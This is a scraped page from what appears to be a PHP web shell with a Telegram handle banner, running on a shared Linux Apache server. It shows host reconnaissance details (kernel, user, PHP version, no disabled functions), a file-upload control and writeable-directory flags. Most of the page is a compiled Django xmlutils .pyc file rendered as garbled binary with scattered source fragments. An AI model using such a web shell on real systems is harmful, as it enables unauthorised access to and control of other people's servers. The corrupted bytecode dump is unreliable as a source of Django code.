https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/utils/__pycache__/xmlutils.cpython-310.pyc
o

�av�@s<dZddlZddlmZGdd�de�ZGdd�de�ZdS)z'
Utilities for XML generation/parsing.
�N)�XMLGeneratorc@seZdZdS)�UnserializableContentErrorN)�__name__�
__module__�__qualname__�rr�7/usr/lib/python3/dist-packages/django/utils/xmlutils.pyr	srcs.eZdZddd�Zdd�Z�fdd�Z�ZS)	�SimplerXMLGeneratorNcCs8|duri}|�||�|dur|�|�|�|�dS)z9Convenience method for adding an element with no childrenN)�startElement�
characters�
endElement)�self�name�contents�attrsrrr�addQuickElements
z#SimplerXMLGenerator.addQuickElementcCs(|rt�d|�rtd��t�||�dS)Nz[\x00-\x08\x0B-\x0C\x0E-\x1F]z/Control characters are not supported in XML 1.0)�re�searchrrr)r
�contentrrrrszSimplerXMLGenerator.characterscs*|r
tt|����n|}t��||�dS)N)�dict�sorted�items�superr
)r
rr�sorted_attrs��	__class__rrr
sz SimplerXMLGenerator.startElement)NN)rrrrrr
�
__classcell__rrrrr	
s
	r	)�__doc__r�xml.sax.saxutilsr�
ValueErrorrr	rrrr�<module>s


https://t.me/RX1948 - 2025